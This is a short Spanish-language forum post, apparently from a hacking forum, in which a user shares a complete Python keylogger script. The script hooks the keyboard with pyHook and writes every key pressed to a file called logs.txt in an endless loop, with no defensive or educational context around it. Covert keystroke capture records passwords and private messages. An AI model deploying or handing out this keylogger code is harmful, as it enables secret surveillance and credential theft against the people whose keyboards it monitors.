• Fuentes

 #477507  por Doddy
 07 Sep 2015, 03:20
Un simple keylogger en Python
#!usr/bin/python
#Simple Keylogger in Python
#(C) Doddy Hackman 2011

import pyHook,pythoncom


def savefile(name,text):
 file = open(name,"a")
 file.write(text+"\n")
 file.close()

def toma(frase):
 savefile("logs.txt",frase.Key)

def capturar():
 nave = pyHook.HookManager()
 nave.KeyDown = toma
 nave.HookKeyboard()
 pythoncom.PumpMessages()

while 1:
 capturar()

# The End